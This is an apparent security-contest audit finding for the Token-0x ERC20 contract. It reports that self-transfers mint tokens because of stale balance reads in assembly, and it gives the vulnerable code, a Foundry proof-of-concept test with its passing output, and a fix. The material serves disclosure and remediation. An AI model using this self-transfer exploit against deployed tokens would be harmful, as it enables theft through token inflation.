Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Self-transfer results in artificial token minting due to stale balance reads

Author Revealed upon completion

Root + Impact

Description

  • In a standard ERC20 token, when a user transfers tokens to themselves, their balance should remain unchanged because they are both the sender and receiver of the same amount.

  • The _transfer function reads both sender and receiver balances from storage before performing any writes. When from == to, the function writes the decremented balance first, then immediately overwrites the same slot with an addition using the stale original balance, resulting in a net increase.

function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
// ... validation code ...
let ptr := mload(0x40)
let baseSlot := _balances.slot
mstore(ptr, from)
mstore(add(ptr, 0x20), baseSlot)
let fromSlot := keccak256(ptr, 0x40)
@> let fromAmount := sload(fromSlot) // Read from's balance (e.g., 100)
mstore(ptr, to)
mstore(add(ptr, 0x20), baseSlot)
let toSlot := keccak256(ptr, 0x40)
@> let toAmount := sload(toSlot) // Read to's balance (also 100, same slot when from==to)
if lt(fromAmount, value) {
// revert logic
}
@> sstore(fromSlot, sub(fromAmount, value)) // Write 100-50=50 to slot
@> sstore(toSlot, add(toAmount, value)) // Write 100+50=150 to SAME slot (stale toAmount!)
success := 1
// ... event emission ...
}
}

Risk

Likelihood:

  • Any token holder can exploit this by simply calling transfer(myAddress, amount) with their own address as the recipient

Impact:

  • Attackers can mint unlimited tokens for themselves, destroying the token's economy

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Token} from "./Token.sol";
contract SelfTransferVulnerabilityTest is Test {
Token public token;
function setUp() public {
token = new Token();
}
function test_selfTransferMinting() public {
address attacker = makeAddr("attacker");
// Step 1: Attacker has 100 tokens
token.mint(attacker, 100e18);
assertEq(token.balanceOf(attacker), 100e18);
// Step 2: Attacker transfers 50 tokens to themselves
vm.prank(attacker);
token.transfer(attacker, 50e18);
// Step 3: Attacker now has 150 tokens instead of 100!
assertEq(token.balanceOf(attacker), 150e18);
}
}

When we run the code we have.

(base) ➜ 2025-12-token-0x git:(main) ✗ forge test --match-test test_selfTransferMinting -vv
[⠊] Compiling...
[⠒] Compiling 1 files with Solc 0.8.30
[⠑] Solc 0.8.30 finished in 582.15ms
Compiler run successful!
Ran 1 test for test/SelfTransferVulnerability.t.sol:SelfTransferVulnerabilityTest
[PASS] test_selfTransferMinting() (gas: 64726)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.47ms (2.87ms CPU time)
Ran 1 test suite in 158.64ms (6.47ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

Add a check at the beginning of the _transfer function to handle self-transfers separately, avoiding the stale read issue by short-circuiting the logic when from == to.

function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
+ // Early return for self-transfer - balance unchanged
+ if eq(from, to) {
+ success := 1
+ mstore(0x00, value)
+ log3(0x00, 0x20, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, from, to)
+ leave
+ }
if iszero(from) {
// ... rest of function
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!